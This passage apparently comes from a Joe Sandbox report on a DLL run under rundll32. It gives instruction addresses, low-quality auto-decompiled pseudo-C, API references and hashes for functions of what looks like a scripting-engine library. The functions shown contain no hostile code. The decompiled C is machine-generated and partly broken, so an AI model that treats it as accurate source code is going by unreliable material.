0x1000d2aa
0x1000d2b3
0x1000d38b
0x1000d394
0x1000d397
0x1000d39c
0x1000d39e
0x1000d3b0
0x1000d3b0
0x1000d3b3
0x1000d3b6
0x1000d3c7
0x1000d3dc
0x1000d3df
0x1000d3ec
0x1000d43c
0x1000d43c
0x1000d43e
0x1000d44a
0x1000d457
0x1000d45c
0x1000d466
0x1000d46a
0x1000d471
0x1000d46c
0x1000d46c
0x1000d46c
0x1000d47c
0x1000d481
0x1000d48e
0x1000d490
0x1000d490
0x1000d497
0x1000d49b
0x1000d49b
0x1000d3ee
0x1000d3f1
0x1000d3fb
0x1000d3ff
0x1000d406
0x1000d401
0x1000d401
0x1000d401
0x1000d408
0x1000d40a
0x1000d416
0x1000d423
0x1000d425
0x1000d425
0x1000d42c
0x1000d430
0x1000d43a
0x00000000
0x00000000
0x1000d43a
0x1000d4a1
0x1000d4a6
0x1000d4ac
0x1000d4b1
0x1000d4df
0x1000d4e6
0x1000d4f7
0x1000d4fd
0x1000d504
0x1000d50d
0x1000d511
0x1000d519
0x1000d51d
0x1000d523
0x1000d523
0x1000d526
0x1000d529
0x1000d532
0x1000d532
0x1000d539
0x1000d547
0x1000d4b3
0x1000d4b3
0x1000d4b6
0x1000d4b6
0x1000d4b9
0x1000d4bc
0x1000d4c5
0x1000d4c5
0x1000d4cc
0x1000d4da
0x1000d4da
0x1000d2b9
0x1000d2bc
0x1000d2c5
0x1000d2c9
0x1000d2d1
0x1000d2d4
0x1000d2dd
0x1000d2e7
0x1000d2eb
0x1000d310
0x1000d31c
0x1000d32c
0x00000000
0x1000d32e
0x1000d2ed
0x1000d2fb
0x1000d330
0x1000d334
0x1000d334
0x1000d340
0x1000d344
0x1000d352
0x1000d357
0x1000d35b
0x1000d361
0x1000d364
0x1000d364
0x1000d367
0x1000d36a
0x1000d373
0x1000d373
0x1000d37a
0x1000d388
0x1000d388

APIs

lget@ESContext@ScScript@@SAAAV12@XZ.MAIN(A412DE5E), ref: 1000D38F
lget@ESContext@ScScript@@SAAAV12@XZ.MAIN(A412DE5E), ref: 1000D3A5
lget@ESContext@ScScript@@SAAAV12@XZ.MAIN ref: 1000D4A1

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Context@Script@@V12@lget@
String ID:
API String ID: 935851931-0
Opcode ID: 75afae57f94af2c6d122842a19bfd1c793161316265f8d01238f17355f8fd8d8
Instruction ID: c672403f4344fc81c1e00eedf2a696daa26d40ede7820f0fa4e929f40a1c99cd
Opcode Fuzzy Hash: 75afae57f94af2c6d122842a19bfd1c793161316265f8d01238f17355f8fd8d8
Instruction Fuzzy Hash: 3CA1C131A04245DFEB04EF98C894BAEFBB2FF99350F10815DE45697390CB74AA45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 100087A0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 214
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E100087A0(intOrPtr* __ecx, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, char _a16) {
				signed int _v8;
				char _v16;
				intOrPtr* _v20;
				char _v44;
				char _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				char* _v84;
				char* _v88;
				intOrPtr _v92;
				char _v96;
				void* __edi;
				signed int _t75;
				intOrPtr _t87;
				signed int _t98;
				intOrPtr _t100;
				void* _t106;
				void* _t107;
				void* _t120;
				intOrPtr _t122;
				intOrPtr* _t123;
				intOrPtr* _t125;
				void* _t126;
				intOrPtr* _t147;
				intOrPtr _t152;
				intOrPtr* _t154;
				intOrPtr _t169;
				intOrPtr _t170;
				intOrPtr _t180;
				intOrPtr _t181;
				intOrPtr* _t182;
				intOrPtr* _t186;
				signed int _t189;

				_push(0xffffffff);
				_push(0x1005df8a);
				_push( *[fs:0x0]);
				_t75 =  *0x10094144; // 0xa412de5e
				_push(_t75 ^ _t189);
				 *[fs:0x0] =  &_v16;
				_t186 = __ecx;
				if( *((intOrPtr*)( *((intOrPtr*)( *__ecx + 0x10))))() != 0) {
					_t122 = 0x63746f72;
					if(_a16 != 0) {
						_t122 = 0x63746f73;
					}
					 *((intOrPtr*)(_t186 + 0x22)) =  *((intOrPtr*)(_t186 + 0x22)) + 1;
					_v20 = _t186;
					_v8 = 0;
					E10009F80(_a4);
					_t180 = _a8;
					_v8 = 1;
					E10008730(_t180,  *((intOrPtr*)(_t186 + 0xac)));
					 *0x1006a230();
					_v8 = 2;
					E10004790( *((intOrPtr*)(_t186 + 0x72)),  &_v44);
					_v96 =  *((intOrPtr*)(_t186 + 0xa0));
					_t87 =  *((intOrPtr*)(_t186 + 0x9c));
					_v92 =  *((intOrPtr*)(_t186 + 0x6a));
					_v76 = _t180;
					_t181 = _a12;
					_v88 =  &_v68;
					_v84 =  &_v44;
					_v80 = _t122;
					_v72 = _t181;
					if(_t87 == 0) {
						_t123 = 0;
					} else {
						_t123 = _t87 + 4;
					}
					 *0x1006a160();
					_a16 = _t123;
					 *0x1006a3d4();
					_v8 = 3;
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t186 + 0x9c)))) + 0x18))))( &_v96,  *((intOrPtr*)(_t186 + 0xa4)));
					_v8 = 2;
					 *0x1006a3d8();
					if( *0x1006a204() != 6) {
						if( *0x1006a204() == 5) {
							_t100 =  *0x1006a3cc();
							_a8 = _t100;
							if( *((intOrPtr*)(_t181 + 0x10)) != 5) {
								_t169 = 0;
							} else {
								_t169 =  *((intOrPtr*)(_t181 + 8));
							}
							_t147 = _a4;
							if(_t169 == _t147) {
								if(_t100 != 0) {
									_t170 =  *_t147;
									goto L27;
								}
							} else {
								_t125 = E10013C80( *((intOrPtr*)(_t186 + 0x6a)), _t181);
								if(_t125 == 0) {
									if( *((intOrPtr*)(_t181 + 0x10)) != 5 ||  *((intOrPtr*)(_t181 + 8)) == 0) {
										_t126 =  *0x1006a2ac();
										 *0x1006a1fc();
										_t106 =  *0x1006a1d8();
										_t152 =  *0x1009415c; // 0x0
										_t107 = E10003EE0(_t152, _t106);
										 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t186 + 0x6a)))) + 0xd4))))(_t181, _t107, 0, _t186);
										if( *((intOrPtr*)(_t181 + 0x10)) != 5) {
											_t154 = 0;
										} else {
											_t154 =  *((intOrPtr*)(_t181 + 8));
										}
										 *((intOrPtr*)( *((intOrPtr*)( *_t154 + 0x38))))(_t126);
										if( *((intOrPtr*)(_t181 + 0x10)) != 5) {
											_push(_a8);
											 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(0)) + 0x20))))();
										} else {
											 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t181 + 8)))) + 0x20))))(_a8);
										}
									}
								} else {
									 *0x1006a174(_t125);
									_t100 = _a8;
									if(_t100 != 0) {
										_t170 =  *_t125;
										L27:
										 *((intOrPtr*)( *((intOrPtr*)(_t170 + 0x20))))(_t100);
									}
								}
							}
						}
					} else {
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t186 + 0x6a)))) + 0xe0))))(_t181, 1);
					}
					_t182 =  *0x1006a1c8; // 0x870f4
					_v8 = 1;
					 *_t182();
					_v8 = 0;
					_t98 =  *_t182() | 0xffffffff;
					_t69 = _t186 + 0x22;
					 *_t69 =  *((intOrPtr*)(_t186 + 0x22)) + _t98;
					_v8 = _t98;
					if( *_t69 == 0) {
						_t98 =  *((intOrPtr*)( *((intOrPtr*)( *_t186 + 0x14))))();
					}
					 *[fs:0x0] = _v16;
					return _t98;
				} else {
					_push(0x2d);
					_t120 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x6a)))) + 0x24))))();
					 *[fs:0x0] = _v16;
					return _t120;
				}
			}

0x100087a3
0x100087a5
0x100087b0
0x100087b7
0x100087be
0x100087c2
0x100087c8
0x100087d3
0x100087f9
0x100087fe
0x10008800
0x10008800
0x10008805
0x10008808
0x10008812
0x10008819
0x10008824
0x10008828
0x1000882c
0x10008837
0x1000884b
0x1000884f
0x1000885d
0x10008860
0x10008866
0x10008869
0x1000886c
0x10008875
0x10008878
0x1000887b
0x1000887e
0x10008883
0x1000888a
0x10008885
0x10008885
0x10008885
0x1000888f
0x10008897
0x1000889a
0x100088b6
0x100088ba
0x100088bf
0x100088c3
0x100088d4
0x100088f6
0x100088fe
0x10008908
0x1000890b
0x10008912
0x1000890d
0x1000890d
0x1000890d
0x10008914
0x10008919
0x100089cb
0x100089cd
0x00000000
0x100089cd
0x1000891f
0x10008928
0x1000892c
0x1000894f
0x10008961
0x10008963
0x1000896b
0x10008971
0x10008978
0x1000898d
0x10008993
0x1000899a
0x10008995
0x10008995
0x10008995
0x100089a2
0x100089a8
0x100089c4
0x100089c5
0x100089aa
0x100089b6
0x100089b6
0x100089a8
0x1000892e
0x10008931
0x10008937
0x1000893c
0x10008942
0x100089cf
0x100089d3
0x100089d3
0x1000893c
0x1000892c
0x10008919
0x100088d6
0x100088e4
0x100088e4
0x100089d5
0x100089de
0x100089e2
0x100089e7
0x100089ed
0x100089f0
0x100089f0
0x100089f3
0x100089f6
0x100089ff
0x100089ff
0x10008a04
0x10008a12
0x100087d5
0x100087dd
0x100087df
0x100087e4
0x100087f2
0x100087f2

APIs

lgetValue@DataPool@ScScript@@QBEXHAAVVariant@ScCore@@@Z.MAIN(?,?), ref: 1000884F

Strings

sotc, xrefs: 10008800
rotc, xrefs: 100087F9

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Core@@@DataPool@Script@@Value@Variant@lget
String ID: rotc$sotc
API String ID: 407088401-913851037
Opcode ID: 5ef3b837288fb65fdbfd7525b2d22754085b6ffec151ff3f9b54b2fcd1760b25
Instruction ID: cbb2d7a7162183ed132c9677e5b29fddbe0062cfbe3f7bd8fe389c31080e6009
Opcode Fuzzy Hash: 5ef3b837288fb65fdbfd7525b2d22754085b6ffec151ff3f9b54b2fcd1760b25
Instruction Fuzzy Hash: 4D819E34600205DFDB04EFA9C884AAEB7F6FF89350F14851DE88697354CB70AA41CF91

Uniqueness

Uniqueness Score: -1.00%

Function 10005080 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

lgetIncludePath@ParserAPI@ScScript@@QBEABVString@ScCore@@XZ.MAIN ref: 10005214
lsetIncludePath@ParserAPI@ScScript@@QBEXABVString@ScCore@@@Z.MAIN(?), ref: 10005256
lsetIncludePath@ParserAPI@ScScript@@QBEXABVString@ScCore@@@Z.MAIN(?), ref: 10005281

Strings

{\rtf, xrefs: 10005188

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: IncludeParserPath@Script@@String@$Core@@@lset$Core@@lget
String ID: {\rtf
API String ID: 611175992-1896632952
Opcode ID: 1f1dc9f97aa457fd0382d10cdcbfab6425af290c38486a221cac1c60f6d077fe
Instruction ID: 261dc8ca6f84e4a00bfcdb9c549608fc6a82115b56641e4721c3f8ce478ec7fe
Opcode Fuzzy Hash: 1f1dc9f97aa457fd0382d10cdcbfab6425af290c38486a221cac1c60f6d077fe
Instruction Fuzzy Hash: 5781707190025AEFEB04DBE4CD94BEEBBB9FF19300F104159E506A3291DB746A49CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1002A470 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 189COMMON

Download Yara Rule

APIs

lgetCurrent@Engine@ScScript@@SAPAV12@XZ.MAIN ref: 1002A60D

Strings

RPSE, xrefs: 1002A521
LASE, xrefs: 1002A50D
OCSE, xrefs: 1002A519

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Current@Engine@Script@@V12@lget
String ID: LASE$OCSE$RPSE
API String ID: 2727027711-904426294
Opcode ID: a4e6a669c1561d44dc75dbfff0155d43f98bf870b23b960b532d7385b965840e
Instruction ID: 4222ac1e0588a77c3a2459a81328d3a3b3d711d27acc8aeaeaebfbc21405cfa4
Opcode Fuzzy Hash: a4e6a669c1561d44dc75dbfff0155d43f98bf870b23b960b532d7385b965840e
Instruction Fuzzy Hash: 08519671A002299BDF04EBA5DC99ABEB7B9FF85700F040119F90293290DF755A85CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000E5E0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 150COMMON

Download Yara Rule

APIs

lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 1000E67E
lgetSymbol@DataPool@ScScript@@QBE?AVString@ScCore@@H@Z.MAIN(?,?), ref: 1000E6A8

Strings

referenced by:, xrefs: 1000E738
Address L Refs Prop Class Name, xrefs: 1000E650

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Core@@DataPool@Script@@String@Symbol@lget
String ID: Address L Refs Prop Class Name$ referenced by:
API String ID: 1311809857-2744802727
Opcode ID: 40535da90a66eaf6a58e2f70cf568a03bf0e8e4915a3ad8effd65500e76215ca
Instruction ID: f3180e07017fdfa28ea8a85b6c447d86ff33ebda604560f5ea5f8ccebe213c14
Opcode Fuzzy Hash: 40535da90a66eaf6a58e2f70cf568a03bf0e8e4915a3ad8effd65500e76215ca
Instruction Fuzzy Hash: B8519275904259DFDB04EFA9C894BEEBBB9FF59300F10405DE906A3291DB746A04CF61

Uniqueness

Uniqueness Score: -1.00%

Function 10007C50 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMON

Download Yara Rule

APIs

lgetClassCount@Dispatcher@ScScript@@QBEHXZ.MAIN ref: 10007D0E
lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 10007D29
lgetClassCount@Dispatcher@ScScript@@QBEHXZ.MAIN ref: 10007D9C

Strings

All, xrefs: 10007CB0

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@lget$ClassCount@$Class@Core@@String@
String ID: All
API String ID: 3730738953-55916349
Opcode ID: 6290b209f8a37976847537167747db014cc266de774f4f92879ff85c5caa2f3e
Instruction ID: f42b665165fbb769443d6d91cf2f21d26204316436c34e215bd0d2d1ee44cb66
Opcode Fuzzy Hash: 6290b209f8a37976847537167747db014cc266de774f4f92879ff85c5caa2f3e
Instruction Fuzzy Hash: 67419031D00255DFEB05EF65C894BAEB7B6FF46390F01405AE80AA7360DB78A941CF61

Uniqueness

Uniqueness Score: -1.00%

Function 10025C00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69
threadCOMMON

Download Yara Rule

C-Code - Quality: 21%

			E10025C00(void* _a4) {
				char _v8;
				char _v16;
				char _v20;
				long _v24;
				char _v28;
				signed int _t22;
				signed short* _t29;
				void* _t30;
				void* _t34;
				intOrPtr* _t35;
				signed int _t42;
				void* _t49;
				struct HWND__* _t50;
				signed int _t52;

				_t22 =  *0x10094144; // 0xa412de5e
				 *[fs:0x0] =  &_v16;
				 *0x1006a248("@id", _t22 ^ _t52, _t49, _t34,  *[fs:0x0], 0x10062331, 0xffffffff);
				_v8 = 0;
				 *0x1006a898( &_v28,  &_v20);
				_t35 =  *0x1006a184; // 0x86e1c
				_v8 = 2;
				 *_t35();
				_t50 = 0;
				_t29 =  *0x1006a1d8();
				_t42 =  *_t29 & 0x0000ffff;
				if(_t42 == 0) {
					L8:
					_v8 = 0xffffffff;
					_t30 =  *_t35();
					 *[fs:0x0] = _v16;
					return _t30;
				} else {
					while(_t42 >= 0x30 && _t42 <= 0x39) {
						_t29 =  &(_t29[1]);
						_t50 = (_t42 & 0x0000ffff) +  &(_t50[_t50]) * 2 - 0x30;
						_t42 =  *_t29 & 0x0000ffff;
						if(_t42 != 0) {
							continue;
						}
						break;
					}
					if(_t50 != 0) {
						_v24 = 0;
						GetWindowThreadProcessId(_t50,  &_v24);
						if(_v24 != GetCurrentProcessId()) {
							SetForegroundWindow(_t50);
						}
					}
					goto L8;
				}
			}

0x10025c16
0x10025c21
0x10025c2f
0x10025c40
0x10025c47
0x10025c4d
0x10025c56
0x10025c5a
0x10025c5f
0x10025c61
0x10025c67
0x10025c6d
0x10025cb9
0x10025cbc
0x10025cc3
0x10025cc8
0x10025cd5
0x10025c70
0x10025c70
0x10025c82
0x10025c85
0x10025c89
0x10025c8f
0x00000000
0x00000000
0x00000000
0x10025c8f
0x10025c93
0x10025c9a
0x10025ca1
0x10025cb0
0x10025cb3
0x10025cb3
0x10025cb0
0x00000000
0x10025c93

APIs

GetWindowThreadProcessId.USER32 ref: 10025CA1
GetCurrentProcessId.KERNEL32 ref: 10025CA7
SetForegroundWindow.USER32(00000000), ref: 10025CB3

Strings

@id, xrefs: 10025C27

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: ProcessWindow$CurrentForegroundThread
String ID: @id
API String ID: 3477312055-1899700605
Opcode ID: f589ce8c3784c5d4072866996f9e738fb2bb1c53850fb96aeca3635861540114
Instruction ID: 8fbee5b4bc595471c866b6ea5ae36f0bc1ea31c986c87858a755ddaa15aa2874
Opcode Fuzzy Hash: f589ce8c3784c5d4072866996f9e738fb2bb1c53850fb96aeca3635861540114
Instruction Fuzzy Hash: 1421CF3180122ADFDB04EF95C995BFEB7B8FF09765F50011AE903A3290EB751A44CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 10005DA0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E10005DA0() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t13;
				intOrPtr* _t19;
				signed int _t21;

				_push(0xffffffff);
				_push(0x1005d959);
				_push( *[fs:0x0]);
				_push(_t13);
				_t6 =  *0x10094144; // 0xa412de5e
				_push(_t6 ^ _t21);
				 *[fs:0x0] =  &_v16;
				_t19 = _t13;
				_v20 = _t19;
				E10007260(_t13, "JavaScript");
				_v8 = 0;
				 *_t19 = 0x1006c348;
				E10007F30(_t19, "$");
				E100083E0(_t19, 0, 0x1006bd80);
				 *[fs:0x0] = _v16;
				return _t19;
			}

0x10005da3
0x10005da5
0x10005db0
0x10005db1
0x10005db3
0x10005dba
0x10005dbe
0x10005dc4
0x10005dc6
0x10005dce
0x10005dda
0x10005de1
0x10005de7
0x10005df5
0x10005dff
0x10005e0b

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,00000000,00000000,00000000,1005D959,000000FF,?,10012C68), ref: 10005DCE
laddClass@Dispatcher@ScScript@@QAEXPBD@Z.MAIN(1006ADC4,JavaScript,A412DE5E,00000000,00000000,00000000,1005D959,000000FF), ref: 10005DE7

Part of subcall function 10007F30: laddClass@Dispatcher@ScScript@@QAEXABVString@ScCore@@@Z.MAIN(00000000,?,?,1005DE61,000000FF), ref: 10007F6E

lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@@Z.MAIN(00000000,1006BD80,JavaScript,A412DE5E,00000000,00000000,00000000,1005D959,000000FF), ref: 10005DF5

Part of subcall function 100083E0: lgetClass@Dispatcher@ScScript@@QBEABVString@ScCore@@H@Z.MAIN(00000000), ref: 100083FA
Part of subcall function 100083E0: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000), ref: 10008408

Strings

JavaScript, xrefs: 10005DC9

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Class@String@$Core@@@PropProperties@laddlregister$Core@@Entry@2@Entry@2@@lget
String ID: JavaScript
API String ID: 2248442671-3424359953
Opcode ID: 49cacc7a703ec70d1cd7b707360923a7fb0a08a7860d855b449ff35677cc28b2
Instruction ID: e70b70c5d4278831aa2a2ca7996b13afac68e81d8e30110ca1f1b6e5215ce3fe
Opcode Fuzzy Hash: 49cacc7a703ec70d1cd7b707360923a7fb0a08a7860d855b449ff35677cc28b2
Instruction Fuzzy Hash: F0F0B471A14568EBD714CF48CC01FAAB7E9F704A60F00421BF51597780DBB92A0087D4

Uniqueness

Uniqueness Score: -1.00%

Function 10033950 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E10033950() {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _v20;
				void* __ecx;
				signed int _t6;
				intOrPtr* _t12;
				intOrPtr* _t17;
				signed int _t19;

				_push(0xffffffff);
				_push(0x10063f3c);
				_push( *[fs:0x0]);
				_push(_t12);
				_t6 =  *0x10094144; // 0xa412de5e
				_push(_t6 ^ _t19);
				 *[fs:0x0] =  &_v16;
				_t17 = _t12;
				_v20 = _t17;
				E10007260(_t12, "JavaScript");
				_v8 = 0;
				 *_t17 = 0x1006fbbc;
				E10008420(_t17, 0, 0x1006fb40, "Error");
				 *[fs:0x0] = _v16;
				return _t17;
			}

0x10033953
0x10033955
0x10033960
0x10033961
0x10033963
0x1003396a
0x1003396e
0x10033974
0x10033976
0x1003397e
0x10033991
0x10033998
0x1003399e
0x100339a8
0x100339b4

APIs

l?0Dispatcher@ScScript@@QAE@PBD@Z.MAIN(JavaScript,A412DE5E,00087144,00000000,00000000,10063F3C,000000FF,?,10032F93), ref: 1003397E
lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@PBD@Z.MAIN(00000000,1006FB40,Error,JavaScript,A412DE5E,00087144,00000000,00000000,10063F3C,000000FF), ref: 1003399E

Part of subcall function 10008420: lregisterProperties@Dispatcher@ScScript@@QAEXHPBUPropEntry@2@ABVString@ScCore@@@Z.MAIN(00000000,?,00000000,?,?,1005DEEB,000000FF,?,10001542,00000000,?,?), ref: 10008464

Strings

Error, xrefs: 10033983
JavaScript, xrefs: 10033979

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Entry@2@PropProperties@lregister$Core@@@String@
String ID: Error$JavaScript
API String ID: 2216434953-3848367710
Opcode ID: a89e4b7e21678254c6be4f7aa7ad9dba5d04f37bfc9fc0acadc808d1d73acfca
Instruction ID: 2465fccf3afd1fa124609066950fe2cac2b91812ed355e4a155ff319cda1f14e
Opcode Fuzzy Hash: a89e4b7e21678254c6be4f7aa7ad9dba5d04f37bfc9fc0acadc808d1d73acfca
Instruction Fuzzy Hash: 2BF0E271A081A8ABD310CF48CC01FAAB7E8F708A20F00025FF41493780DBB5690087D4

Uniqueness

Uniqueness Score: -1.00%

Function 10012350 Relevance: 6.3, APIs: 4, Instructions: 265
COMMON

Download Yara Rule

C-Code - Quality: 20%

			E10012350(void* __ecx, void* __edx, char _a4, signed int _a8) {
				char _v8;
				char _v16;
				intOrPtr* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr* _v32;
				char _v56;
				void* __edi;
				void* __esi;
				signed int _t100;
				intOrPtr _t111;
				void* _t130;
				void* _t137;
				void* _t140;
				void* _t141;
				signed int _t142;
				void* _t143;
				intOrPtr _t147;
				void* _t151;
				void* _t155;
				signed int _t168;
				void* _t169;
				intOrPtr _t183;
				intOrPtr _t193;
				intOrPtr _t200;
				intOrPtr* _t207;
				intOrPtr* _t221;
				intOrPtr* _t222;
				intOrPtr* _t224;
				void* _t226;
				char* _t227;
				void* _t228;
				signed int _t231;

				_push(0xffffffff);
				_push(0x1005f56e);
				_push( *[fs:0x0]);
				_t100 =  *0x10094144; // 0xa412de5e
				_push(_t100 ^ _t231);
				 *[fs:0x0] =  &_v16;
				_t155 = __ecx;
				_t219 = _a4;
				_t224 =  *((intOrPtr*)(_a4 + 0x14));
				if(_t224 != 0) {
					 *0x1006a160();
					_v20 = _t224;
					 *0x1006a460();
					 *0x1006a3d4();
